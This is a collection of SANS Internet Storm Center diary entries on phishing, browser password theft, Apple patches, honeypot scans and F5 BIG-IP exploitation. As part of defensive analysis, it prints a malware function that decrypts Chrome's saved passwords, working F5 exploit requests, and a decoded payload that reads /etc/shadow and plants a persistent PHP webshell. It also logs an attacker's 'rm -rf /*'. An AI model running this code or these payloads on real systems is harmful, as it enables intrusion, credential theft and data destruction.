This means that the victim would have to transfer at least 0.0061 BTC to the platform in order to get to this minimum amount. Although this isn’t that much (little less than $200 at the time of writing), it would certainly be a worthwhile payout for the scammers, especially when one considers that there might be multiple victims willing to transfer this amount… Which, given that there is seemingly an opportunity to get 30 BTC (almost $895k at the time of writing), there might well be.

Luckily, it seems that so far, the scammers have not been successful, at least not with the “deposit” Bitcoin address (bc1qpzk5fu0ezwskwkg9zegre7vampsn2uej6nc37w) that was displayed for “Rob’s” account, as it was still empty at the time of writing.

It appears that at least two versions of the scam messages with different amounts and credentials were sent out – the one “offering” 30 BTC and another one mentioning 20 BTC[1]. And although it is certainly possible that the scammers used different BTC address for the second one, the fact that this one was still empty is certainly positive.

It should be mentioned that although the scam as a whole was quite well thought out, and the website was/is certainly among the more sophisticated phishing pages out there, it seems that the scammers either didn’t care enough to “personalize” the user accounts or they decided to reuse the same credentials for multiple phishing messages that contained different names of account holders, which prevented them from personalizing the user accounts. Whatever the reason, as you may see in the last two images of the platform, although account was supposed to belong to the aforementioned Rob Hoffman, rather than his name, the page showed the name “Private User” (yes, that was supposed to be a “full name” of the user and it could have been changed in the settings… and although it doesn’t matter much on a phishing site, in order to end on a positive note, it is worth mentioning that the input wasn’t filtered or encoded to prevent XSS, so we can see that even in sophisticated scams, the scammers don’t necessarily care much about the quality and security of their code).

IoCs
hxxps://www[.]orbitcoin[.]net/
bc1qpzk5fu0ezwskwkg9zegre7vampsn2uej6nc37w

[1] https://scammer.info/t/bitcoin-deposit/97475
 

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

Passwords... a so hot topic! Recently big players (Microsoft, Apple & Google) announced that they would like to suppress (or, at least, reduce) the use of classic passwords[1]. In the meantime, they remain the most common way to authenticate users against many online services. Modern Browsers offer lightweight password management tools ("vaults") that help users to save their passwords in a central repository. So they don't have to remember them, and they follow the golden rule that we, infosec people, are recommending for a long time: to not share passwords across services. But it is really safe?

I'm involved in a security incident where some administrative accounts for web applications have been probably leaked. During the investigations, I wrote a quick YARA rule to search for the suspicious accounts across files on the developers' computers. And I found a lot of them stored in the Chrome password databases. The default path for this file is:

%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default|Login Data

This file is an SQLite database. Hopefully, passwords stored in this file are encrypted but it's pretty simple to decrypt them. But the AES key that is used to encrypt the passwords is stored in a JSON file:

%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State

I won't explain here how to decode this key and use it to decrypt all passwords. This is pretty straightforward to be performed in Python. Here is an example of dumping passwords from a lab Windows machine with Chrome:

C:\Users\xavier\Lab>python dumppass.py
Origin URL: https://selfoss.xxxxxxxxxxxx/
Action URL: https://selfoss.xxxxxxxxxxxx/
Username: xavier
Password: xxxxxxxx
Creation date: 2022-05-17 08:26:16.687562
Last Used: 2022-05-17 08:26:13.094214
==================================================
Origin URL: https://centreon.xxxxxxxxxxxxxxxxxxxxxxxxxx/
Action URL: https://centreon.xxxxxxxxxxxxxxxxxxxxxxxxxx/index.php
Username: admin
Password: xxxxxxxxxxxxxxxxxxxx
Creation date: 2022-05-17 08:49:44.385977
Last Used: 2022-05-17 08:49:41.002207
==================================================

If it's so easy to extract passwords from Chrome, many malware samples also implement this technique and exfiltrate your passwords. Here is a sample found this morning on VT:

def grabPassword(self):
    master_key = self.get_master_key(
        self.appdata+'\\Google\\Chrome\\User Data\\Local State')
    login_db = self.appdata+'\\Google\\Chrome\\User Data\\default\\Login Data'
    login = self.dir+self.sep+"Loginvault1.db"

    shutil.copy2(login_db, login)
    conn = sqlite3.connect(login)
    cursor = conn.cursor()
    with open(self.dir+"\\Google Passwords.txt", "w", encoding="cp437", errors='ignore') as f:
        cursor.execute(
            "SELECT action_url, username_value, password_value FROM logins")
        for r in cursor.fetchall():
            url = r[0]
            username = r[1]
            encrypted_password = r[2]
            decrypted_password = self.decrypt_val(
                encrypted_password, master_key)
            if url != "":
                f.write(
                    f"Domain: {url}\nUser: {username}\nPass: {decrypted_password}\n\n")
    cursor.close()
    conn.close()
    os.remove(login)

My recommendation is to not store your password in these browser vaults but use a real password manager instead! Most of them have plugins available to work with all common browsers and provide the same ease of use! Stay safe!

[1] https://www.bleepingcomputer.com/news/security/microsoft-apple-and-google-to-support-fido-passwordless-logins/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Apple today release updates for tvOS, Xcode, macOS (Bug Sur, Monterery and Cataline), iOS, iPadOS and WatchOS. In addition to new features, the updates patch a total of 86 vulnerabilities. One of the vulnerabilities, a privilege escalation vulnerability, is already actively exploited (%%cve:2022-222675%%). 

Apple does not assign ratings to the vulnerabilities. Below ratings are assigned by us, and follow roughly this scale:
- critical: code execution issues
- important: privilege escalation issues, DoS
- moderate: information disclosure, unless the information can be used for privilege escalation.

Some vulnerabilities are rated as "other" if we didn't get around to assigning them yet, or if they are not described well enough.

Catalina	BigSur	Monterey	tvOS	iOS/iPadOS	watchOS
CVE-2022-26702 [important] AppleAVD A use after free issue was addressed with improved memory management. An application may be able to execute arbitrary code with kernel privileges
			x	x	x
CVE-2022-22675 [important] AppleAVD An out-of-bounds write issue was addressed with improved bounds checking. An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.
	x		x		x
CVE-2022-26724 [important] AuthKit An authentication issue was addressed with improved state management. A local user may be able to enable iCloud Photos without authentication
			x
CVE-2022-26736 [important] AVEVideoEncoder An out-of-bounds write issue was addressed with improved bounds checking. An application may be able to execute arbitrary code with kernel privileges
		x	x	x
CVE-2022-26737 [important] AVEVideoEncoder An out-of-bounds write issue was addressed with improved bounds checking. An application may be able to execute arbitrary code with kernel privileges
		x	x	x
CVE-2022-26738 [important] AVEVideoEncoder An out-of-bounds write issue was addressed with improved bounds checking. An application may be able to execute arbitrary code with kernel privileges
		x	x	x
CVE-2022-26739 [important] AVEVideoEncoder An out-of-bounds write issue was addressed with improved bounds checking. An application may be able to execute arbitrary code with kernel privileges
		x	x	x
CVE-2022-26740 [important] AVEVideoEncoder An out-of-bounds write issue was addressed with improved bounds checking. An application may be able to execute arbitrary code with kernel privileges
		x	x	x
CVE-2022-26763 [important] DriverKit An out-of-bounds access issue was addressed with improved bounds checking. A malicious application may be able to execute arbitrary code with system privileges
x	x	x	x	x	x
CVE-2022-26711 [critical] ImageIO An integer overflow was addressed with improved input validation. A remote attacker may be able to cause unexpected application termination or arbitrary code execution
		x	x	x	x
CVE-2022-26701 [important] IOKit A race condition was addressed with improved locking. An application may be able to execute arbitrary code with kernel privileges
		x	x	x
CVE-2022-26768 [important] IOMobileFrameBuffer A memory corruption issue was addressed with improved state management. An application may be able to execute arbitrary code with kernel privileges
	x	x	x	x	x
CVE-2022-26771 [important] IOSurfaceAccelerator A memory corruption issue was addressed with improved state management. A malicious application may be able to execute arbitrary code with kernel privileges
			x	x	x
CVE-2022-26714 [important] Kernel A memory corruption issue was addressed with improved validation. An application may be able to execute arbitrary code with kernel privileges
x	x	x	x	x	x
CVE-2022-26757 [important] Kernel A use after free issue was addressed with improved memory management. An application may be able to execute arbitrary code with kernel privileges
x	x	x	x	x	x
CVE-2022-26764 [important] Kernel A memory corruption issue was addressed with improved validation. An attacker that has already achieved kernel code execution may be able to bypass kernel memory mitigations
		x	x	x	x
CVE-2022-26765 [important] Kernel A race condition was addressed with improved state handling. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication
		x	x	x	x
CVE-2022-26706 [moderate] LaunchServices An access issue was addressed with additional sandbox restrictions on third-party applications. A sandboxed process may be able to circumvent sandbox restrictions
	x	x	x	x	x
CVE-2022-23308 [critical] libxml2 A use after free issue was addressed with improved memory management. A remote attacker may be able to cause unexpected application termination or arbitrary code execution
x	x	x	x	x	x
CVE-2022-26766 [important] Security A certificate parsing issue was addressed with improved checks. A malicious app may be able to bypass signature validation
x	x	x	x	x	x
WebKit Bugzilla [critical] WebKit A memory corruption issue was addressed with improved state management. Processing maliciously crafted web content may lead to arbitrary code execution
		x	x	x	x
CVE-2022-26745 [moderate] Wi-Fi A memory corruption issue was addressed with improved validation. A malicious application may disclose restricted memory
	x	x	x	x	x
CVE-2021-44224 [other] apache Multiple issues were addressed by updating apache to version 2.4.53. Multiple issues in apache
x	x	x
CVE-2021-44790 [other] apache Multiple issues were addressed by updating apache to version 2.4.53. Multiple issues in apache
x	x	x
CVE-2022-22719 [other] apache Multiple issues were addressed by updating apache to version 2.4.53. Multiple issues in apache
x	x	x
CVE-2022-22720 [other] apache Multiple issues were addressed by updating apache to version 2.4.53. Multiple issues in apache
x	x	x
CVE-2022-22721 [other] apache Multiple issues were addressed by updating apache to version 2.4.53. Multiple issues in apache
x	x	x
CVE-2022-22665 [important] AppKit A logic issue was addressed with improved validation. A malicious application may be able to gain root privileges
x	x
CVE-2022-26751 [critical] AppleGraphicsControl A memory corruption issue was addressed with improved input validation. Processing a maliciously crafted image may lead to arbitrary code execution
x	x	x		x
CVE-2022-26697 [important] AppleScript An out-of-bounds read issue was addressed with improved input validation. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory
x	x	x
CVE-2022-26698 [important] AppleScript An out-of-bounds read issue was addressed with improved bounds checking. Processing a maliciously crafted AppleScript binary may result in unexpected application termination or disclosure of process memory
x	x	x
CVE-2022-22663 [moderate] CoreTypes This issue was addressed with improved checks to prevent unauthorized actions. A malicious application may bypass Gatekeeper checks
x	x
CVE-2022-26721 [important] CVMS A memory initialization issue was addressed. A malicious application may be able to gain root privileges
x	x	x
CVE-2022-26722 [important] CVMS A memory initialization issue was addressed. A malicious application may be able to gain root privileges
x	x	x
CVE-2022-22674 [moderate] Graphics Drivers An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation. A local user may be able to read kernel memory
x	x
CVE-2022-26720 [important] Intel Graphics Driver An out-of-bounds write issue was addressed with improved bounds checking. A malicious application may be able to execute arbitrary code with kernel privileges
x	x	x
CVE-2022-26770 [important] Intel Graphics Driver An out-of-bounds read issue was addressed with improved input validation. A malicious application may be able to execute arbitrary code with kernel privileges
x	x	x
CVE-2022-26756 [important] Intel Graphics Driver An out-of-bounds write issue was addressed with improved input validation. An application may be able to execute arbitrary code with kernel privileges
x	x	x
CVE-2022-26769 [important] Intel Graphics Driver A memory corruption issue was addressed with improved input validation. A malicious application may be able to execute arbitrary code with kernel privileges
x	x	x
CVE-2022-26748 [critical] Intel Graphics Driver An out-of-bounds write issue was addressed with improved input validation. Processing maliciously crafted web content may lead to arbitrary code execution
x	x	x
CVE-2022-26775 [critical] libresolv An integer overflow was addressed with improved input validation. An attacker may be able to cause unexpected application termination or arbitrary code execution
x		x
CVE-2022-0778 [moderate] OpenSSL This issue was addressed with improved checks. Processing a maliciously crafted certificate may lead to a denial of service
x	x	x
CVE-2022-26727 [important] PackageKit This issue was addressed with improved entitlements. A malicious application may be able to modify protected parts of the file system
x		x
CVE-2022-26746 [moderate] Printing This issue was addressed by removing the vulnerable code. A malicious application may be able to bypass Privacy preferences
x	x	x
CVE-2022-26715 [important] SMB An out-of-bounds write issue was addressed with improved bounds checking. An application may be able to gain elevated privileges
x	x	x
CVE-2022-26728 [important] SoftwareUpdate This issue was addressed with improved entitlements. A malicious application may be able to access restricted files
x	x	x
CVE-2022-26726 [other] TCC This issue was addressed with improved checks. An app may be able to capture a user's screen
x	x	x			x
CVE-2022-26755 [other] Tcl This issue was addressed with improved environment sanitization. A malicious application may be able to break out of its sandbox
x	x	x
CVE-2022-22589 [other] WebKit A validation issue was addressed with improved input sanitization. Processing a maliciously crafted mail message may lead to running arbitrary javascript
x	x
CVE-2022-26761 [important] Wi-Fi A memory corruption issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
x	x	x
CVE-2022-0530 [other] zip A denial of service issue was addressed with improved state handling. Processing a maliciously crafted file may lead to a denial of service
x	x	x
CVE-2018-25032 [critical] zlib A memory corruption issue was addressed with improved input validation. An attacker may be able to cause unexpected application termination or arbitrary code execution
x	x	x
CVE-2021-45444 [other] zsh This issue was addressed by updating to zsh version 5.8.1. A remote attacker may be able to cause arbitrary code execution
x	x	x
CVE-2022-26767 [moderate] LaunchServices The issue was addressed with additional permissions checks. A malicious application may be able to bypass Privacy preferences
	x	x
CVE-2022-26776 [critical] libresolv This issue was addressed with improved checks. An attacker may be able to cause unexpected application termination or arbitrary code execution
	x	x
CVE-2022-26712 [important] PackageKit This issue was addressed by removing the vulnerable code. A malicious application may be able to modify protected parts of the file system
	x	x
CVE-2022-26718 [important] SMB An out-of-bounds read issue was addressed with improved input validation. An application may be able to gain elevated privileges
	x	x
CVE-2022-26723 [critical] SMB A memory corruption issue was addressed with improved input validation. Mounting a maliciously crafted Samba network share may lead to arbitrary code execution
	x	x
CVE-2021-4136 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2021-4166 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2021-4173 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2021-4187 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2021-4192 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2021-4193 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2021-46059 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2022-0128 [other] Vim Multiple issues were addressed by updating Vim. Multiple issues in Vim
	x
CVE-2022-26772 [important] AMD A memory corruption issue was addressed with improved state management. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26741 [important] AMD A buffer overflow issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26742 [important] AMD A buffer overflow issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26749 [important] AMD A buffer overflow issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26750 [important] AMD A buffer overflow issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26752 [important] AMD A buffer overflow issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26753 [important] AMD A buffer overflow issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26754 [important] AMD A buffer overflow issue was addressed with improved memory handling. An application may be able to execute arbitrary code with kernel privileges
		x
CVE-2022-26694 [important] Contacts This issue was addressed with improved checks. A plug-in may be able to inherit the application's permissions and access user data
		x
CVE-2022-26725 [other] ImageIO A logic issue was addressed with improved state management. Photo location information may persist after it is removed with Preview Inspector
		x
CVE-2022-26743 [other] Kernel An out-of-bounds write issue was addressed with improved bounds checking. An attacker that has already achieved code execution in macOS Recovery may be able to escalate to kernel privileges
		x
CVE-2022-26708 [critical] libresolv This issue was addressed with improved checks. An attacker may be able to cause unexpected application termination or arbitrary code execution
		x
CVE-2022-26693 [important] Preview This issue was addressed with improved checks. A plug-in may be able to inherit the application's permissions and access user data
		x
CVE-2022-26731 [other] Safari Private Browsing A logic issue was addressed with improved state management. A malicious website may be able to track users in Safari private browsing mode
		x		x
CVE-2022-26704 [other] Spotlight A validation issue existed in the handling of symlinks and was addressed with improved validation of symlinks. An app may be able to gain elevated privileges
		x
CVE-2022-26762 [important] Wi-Fi A memory corruption issue was addressed with improved memory handling. A malicious application may be able to execute arbitrary code with system privileges
		x		x
CVE-2022-26744 [important] GPU Drivers A memory corruption issue was addressed with improved state management. An application may be able to execute arbitrary code with kernel privileges
				x
CVE-2022-22673 [important] Notes This issue was addressed with improved checks. Processing a large input may lead to a denial of service
				x
CVE-2022-26703 [important] Shortcuts An authorization issue was addressed with improved state management. A person with physical access to an iOS device may be able to access photos from the lock screen
				x
CVE-2022-26760 [important] Wi-Fi A memory corruption issue was addressed with improved state management. A malicious application may be able to elevate privileges
				x
CVE-2015-4142 [other] Wi-Fi This issue was addressed with improved checks. A remote attacker may be able to cause a denial of service
				x

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Last night, I noticed a lot of requests to one of our honeypots for "/ocsp.srf" and "/itcom2020/ocsp.srf". The requests all looked very similar:

GET /itcom2020/ocsp.srf HTTP/1.1
User-Agent: fasthttp
Host: service.itk23.ru

GET /ocsp/ocsp.srf HTTP/1.1
User-Agent: fasthttp
Host: uc.ktkt.ru

The same source IP also attempted CONNECT requests to these hostnames, indicating that they may be looking for a proxy.

So far, I am not sure what these scans are about. Is anybody else seeing this or know more about what may be happening? The combination of "CONNECT" requests and OCSP requests may suggest that someone is attempting to use my honeypot as a proxy or has it misconfigured as a proxy. But there is no payload to the OCSP requests.

OCSP, the "Online Certificate Status Protocol," is a more modern alternative to "CRL"s (Certificate Revocation Lists). A client connecting via TLS will receive an OCSP URL as part of the certificate. OCSP implements a web service that may be used to verify if the certificate is still "good." Alternatively, the TLS server may attach a recently created OCSP message with the certificate ("OCSP Stapling"). For Let's Encrypt, for example, the OCSP URL is http://r3.o.lencr.org. A typical OCSP request would include additional data on the URL.

Initially, I figured that they may be searching for private CAs. But the requests are repetitive to particular IP addresses—the "fasthttp" user-agent points to a client written in Go. 

Any ideas about what may be happening here?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Wireshark version 3.6.5 was released. It was released very quickly (8 hours) after the release of Wireshark version 3.6.4, because the Windows installers of version 3.6.4 fail.

And this is also the last release branch with support for 32-bit Windows. Updates for 32-bit Windows will no longer be available after May 22, 2024.

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com

Reader Robert submitted a phishing email (msg file).

.msg files are compound file binary format files (aka ole files), and as such can be analyzed with oledump.py.

And I have plugins specific for .msg files: plugin_msg.py and plugin_msg_summary.py.

Robert's submission inspired me to add a small feature to plugin_msg_summary: it will now search through all streams for URLs, and report them.

This way, one can now immediately see the phishing URLs in phishing emails:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

We all know vulnerabilities have a lifecycle. First, they start as closely held secrets, hopefully known to the company producing the vulnerable software. After becoming publically known, there is often a "mad dash" to a public exploit. During this phase, security companies often show their skills by hinting at privately developed exploits first until the exploit is publically known. Once a public exploit is available, the next race starts among adversaries to collect the largest possible market share of vulnerable devices. In this stage, some nation-states may attempt to expand their attack network, while at the same time, kids in basements and North Korea are looking for coin mining bots. Oddly enough, they often do not patch the vulnerability, and you end up with devices being exploited repeatedly. In the end, you have the crustaceans among the attackers picking apart the crumbs or looking for web shells dropped by others. Finally, Iran and Mirai try to see if anything is left for them.  

We saw this in a compressed form with %%CVE:2022-1388%%, the F5 BIG-IP remote code execution vulnerability. The vulnerability was particular in several ways:

1. Exploitation was trivial once the exploit became known and easily implemented using existing tools.
2. An exploit was available very early. Too early for organizations to roll out the patch in an organized fashion.
3. The vulnerable devices were valuable.
4. There was a somewhat limited population of exposed and easily exploitable devices.

We had this cycle play out over about four days:

The first attack probing for "POST /mgmt/tm/util/bash" arrived on May 9th at 2:34 UTC:

POST /mgmt/tm/util/bash HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.27.1
Accept: */*
Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local
-Ip-From-Httpd,X-F5-New-Authtok-Reqd,X-Forwarded-Server,X-Forwarded-Host
Content-type: application/json
Authorization: Basic YWRtaW46
Content-Length: 46

{"command": "run", "utilCmdArgs": "-c whoami"}

The source IP %%ip:185.239.226.177%% isn't known for prior attacks, which is interesting. It looks like a "normal" unconfigured Windows web server.

Only about half an hour later, we did see the second attack, this time with a bit a more complex payload from %%ip:45.72.32.11%%:

{"command": "run", "utilCmdArgs": "-c \\"echo CmVjaG8gIj09PT09IjsgCmNhdCAvZXRjL2hvc3RuYW1lOyAKZWNobyAiPT09PT0iOyAgCmNhdCAvZXRjL2hvc3RzOyAgCmVjaG8gIj09PT09IjsgIApjYXQgL2V0Yy9wYXNzd2Q7ICAKZWNobyAiPT09PT0iOyAgCmNhdCAvZXRjL3NoYWRvdzsgIAplY2hvICI9PT09PSI7ICAKY2F0IC9ldGMvcmVzb2x2LmNvbmY7ICAKZWNobyAiPT09PT0iOyAgCmY1bWt1IC1mIDsgIAplY2hvICI9PT09PSI7ICAgCmY1bWt1IC1LOyAgCmVjaG8gIj09PT09IjsgIApmNW1rdSAtWjsgIAplY2hvICI9PT09PSI7ICAKbW91bnQgLW8gIHJ3LHJlbW91bnQgL3VzcjsKdGFyIHpjZiAvdXNyL2xvY2FsL3d3dy94dWkvY29tbW9uL2Nzcy8yZjkyMzNkODQwNmMuY3NzIC9jb25maWcvKiAvcm9vdC8uYmFzaF9oaXN
0b3J5OwplY2hvICI8P3BocCBAZXZhbChiYXNlNjRfZGVjb2RlKFwkX1BPU1RbJ2Y5MjMzZDg0MDYnXSkpOyIgPiAvdXNyL2xvY2FsL3d3dy94dWkvY29tbW9uL2Nzcy9mOTIzM2Q4NDA2Y3NzLnBocDsKZWNobyAiZWNobyBcIjw/cGhwIE
BldmFsKGJhc2U2NF9kZWNvZGUoXFxcJF9QT1NUWydmOTIzM2Q4NDA2J10pKTtcIiA+IC91c3IvbG9jYWwvd3d3L3h1aS9jb21tb24vY3NzL2Y5MjMzZDg0MDZjc3MucGhwIiA+PiAvY29uZmlnL3N0YXJ0dXA7Cm1vdW50IC1vIHJvLHJlb
W91bnQgL3VzcjsK|base64 -d > /tmp/f5.sh;/bin/bash /tmp/f5.sh;rm /tmp/f5.sh;\\""}

The base64 encoded text decodes to a simple webshell:

echo "====="; 
cat /etc/hostname; 
echo "=====";  
cat /etc/hosts;  
echo "=====";  
cat /etc/passwd;  
echo "=====";  
cat /etc/shadow;  
echo "=====";  
cat /etc/resolv.conf;  
echo "=====";  
f5mku -f ;  
echo "=====";   
f5mku -K;  
echo "=====";  
f5mku -Z;  
echo "=====";  
mount -o  rw,remount /usr;
tar zcf /usr/local/www/xui/common/css/2f9233d8406c.css /config/* /root/.bash_history;
echo "<?php @eval(base64_decode(\$_POST['f9233d8406']));" > /usr/local/www/xui/common/css/f9233d8406css.php;
echo "echo \"<?php @eval(base64_decode(\\\$_POST['f9233d8406']));\" > /usr/local/www/xui/common/css/f9233d8406css.php" >> /config/startup;
mount -o ro,remount /usr;

About 4 hours later, we do see attempts to use the webshell from 5 different IPs: %%ip:93.120.118.131%%, %%ip:178.159.74.190%%, %%ip:192.67.160.144%%, %%ip:216.74.110.226%%, and %%ip:64.43.114.53%%. Indicating that the same actor likely controls these IPs.

It followed many more "id," "whoami," and similar commands to determine if our system was vulnerable, mixed in with a few webshells, backdoors, and the usual fare. Only very few attackers attempted to execute anything BIG-IP specific. We got only two or three attackers executing "tmsh" commands to extract users and password hashes. Overall, attackers plugged the exploit into existing tools and "let it go."

One of the more interesting sequences of attacks came at 19:04 UTC on monday from %%ip:177.54.127.111%%:

ls
ls /etc/
ls /run
rm -rf /*
rm -rf /*
ls
ls /run/
ls /etc/

The speed of this attack (it took about a minute from beginning to end) makes me believe that this was a manually executed attack. The attacker should have noticed that they were dealing with a honeypot but maybe wasn't sure or didn't understand the response, so they killed what they didn't understand with a swift "rm -rf /*."

BIG-IP mounts the /usr partition read-only. This attack would have partially prevented the system from rebooting, but the BIG-IP software may have continued to work for a while.

At least two more attempts were made to run "rm -rf" on our honeypots

Overall, this was about it. "more of the usual." This morning, Brandon Prince, one of our sans.edu interns, reported seeing this malware uploaded to an ssh/telnet honeypot: 

https://www.virustotal.com/gui/file/ccb5b33ad8ae136180aea84c0ef88e5e969039bd3cd6e1ba0b58e19e09a717aa/detection

It is well detected as Mirai, and a simple string search shows the CVE-2022-1388 exploit present in the file among the usual payloads bots like Mirai are using these days:

Final words (as Brad usually says):

You can't survive from patching alone. A secure configuration will buy you enough time to apply patches. F5 has good guidance, and you should never expose admin interfaces to the internet on any device. At this point: Assume all vulnerable, exposed F5 BIG-IP devices have been exploited. Likely multiple times. Webshells have been installed. Do not just look for published IOCs, but look for all-new, unusual files and rebuild. A more sophisticated attacker may have used the BIG-IP device to target traffic passing through the device.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In my last story (https://isc.sans.edu/forums/diary/Finding+the+Real+Last+Patched+Day+Interim+Version/28610/) , I talked about pulling patch descriptions from the MS portal using Get-WebRequest.  This worked great on my test machine (said every developer ever), but the next day when I tried it on a different client's domain, I got this error for every call of Get-WebRequest:

Invoke-WebRequest : The underlying connection was closed: An unexpected error occurred on a send.
At line:3 char:21
+ ... $postdata = Invoke-WebRequest -Uri $lnk
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

This is a classic "something is wrong on the internet" error message - there really is nothing in the message that steers us towards a solution, other than telling me that the get-webrequest command failed.  I turns out that this client had simply killed TLS 1.0, 1.1 and several ciphers in 1.2 in their domain using a Group Policy (an excellent choice), and the MS Portal doesn't support TLS 1.3 (oops).

A quick nmap scan of the target site confirms that the MS update catalogue site is 1.2 only, with support for only 4 ciphers:

nmap -Pn -sT -p443 -sV www.catalog.update.microsoft.com --script ssl-enum-ciphers
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-06 08:18 Eastern Daylight Time
Nmap scan report for www.catalog.update.microsoft.com (52.184.220.82)
Host is up (0.038s latency).

PORT    STATE SERVICE   VERSION
443/tcp open  ssl/https
|_http-server-header: Microsoft-IIS/10.0
| ssl-enum-ciphers:
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp384r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp384r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (ecdh_x25519) - A
|     compressors:
|       NULL
|     cipher preference: server
|_  least strength: A

Note, in this case nmap might be a bit misleading, ssllabs.com finds that two of these four should not get an "A" grade:

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)   ECDH secp384r1 (eq. 7680 bits RSA)   FS   WEAK     256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)   ECDH x25519 (eq. 3072 bits RSA)      FS   WEAK     128

Anyway, since I can't fix the MS Catalogue site, my solution was to temporarily fix the current instance of PowerShell and permit other TLS versions and ciphers.  I added this to the start of the script to expand the SSL/TLS options available to my script:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS -bor [Net.SecurityProtocolType]::TLS11 -bor [Net.SecurityProtocolType]::TLS12

This uses a call to dotnet to expand this script's support for TLS.  This fixes the situation for Invoke-WebRequest, Invoke-RestMethod and any other operation you may need that uses TLS.  Note that for this particular case I've enabled all of TLS 1.0, 1.1 and 1.2 when for this job, only some ciphers in TLS12 were needed - but for me, if I'm going to keep a hammer like this laying around, I want it to WORK the next time (and every time) too :-).  Enabling all of the options isn't the most elegant or most perfect solution, but it's a solution I won't have to come back and fix again later.  Plus it's only enabled for the process that called it - in this case my script.

My take-aways from this:

• PowerShell REALLY needs some help in writing better error messages.  The fact that the whole language is a shim that allows you go make calls to other bits and pieces of the OS is what makes it so powerful, but it also makes collecting error information from all those sources and presenting it back in the PS interface very difficult.
• Microsoft is as bad as everyone else in following security guidance, their patch portal for goodness sake needs remediation for TLS support.  Their perimeter assessment report likely did not have a "weak ciphers" finding, but likely did have a "does not conform to Microsoft TLS standards" finding (with references).  And because there wasn't a security risk (just an internal spanking if they got caught) the manager and PM likely decided to assume that risk and fix it later.  Because an hour to fix TLS was too much work.  Or alternatively, maybe the report did have a "weak ciphers" finding, and the site was then restricted so far that only the 4 ciphers we see are allowed.  Either way, I needed a workaround to use the site at all.

Have you needed to dive into different dotnet functions to make a script work or to call a function that isn't in PowerShell yet?  Please, share in our comment section, enquiring minds want to know!

===============
Rob VandenBrink
rob <at> coherentsecurity.com

INTRODUCTION:

Identified by Proofpoint as the threat actor behind the Contact Forms campaign, TA578 also appears to be pushing ISO files for Bumblebee malware through thread-hijacked emails.  These threat-hijacked emails either have links to storage.googleapis.com URLs similar to those used in the Contact Forms campaign, or they have password-protected zip attachments.  Either method delivers an ISO file containing files to install Bumblebee malware.

Today's diary compares two examples of ISO files for Bumblebee malware from Monday 2022-05-09 that appear to be from TA578.

Shown above:  Infection chains from TA578 on Monday 2022-05-09.

INFECTION CHAIN COMPARISON: LINK TO 'DOCUMENT' DOWNLOAD PAGE:

Shown above:  TA578 Thread-hijacked email with malicious storage.googleapis.com link.

Shown above:  TA578 'document' download page hosted on storage.googleapis.com URL delivers malicious ISO file for Bumblebee malware.

Shown above:  Contents of downloaded document.iso file.

INFECTION CHAIN COMPARISON: PASSWORD-PROTECTED ZIP ATTACHMENT:

Shown above:  TA578 email with password-protected zip attachment.

Shown above:  Malicious ISO file for Bumblebee malware extracted from password-protected zip attachment.

ISO FILE COMPARISON:

SHA256 hash: 330b01256efe185fc3846b6b1903f61e1582b5a5127b386d0542d7a49894d0c2

• File size: 2,883,584 bytes
• File name: document.iso
• File description: malicious ISO file sent by 'documents' download page

SHA256 hash: e9084037805a918e00ac406cf99d7224c6e63f72eca3babc014b34863fb81949

• File size: 2,883,584 bytes
• File name: invoice_pdf_49.iso
• File description: malicious ISO file extracted from password-protected zip attachment

ISO CONTENT COMPARISON:

SHA256 hash: 22e033c76bb1070953325f58caeeb5c346eca830033ffa7238fb1e4196b8a1b9

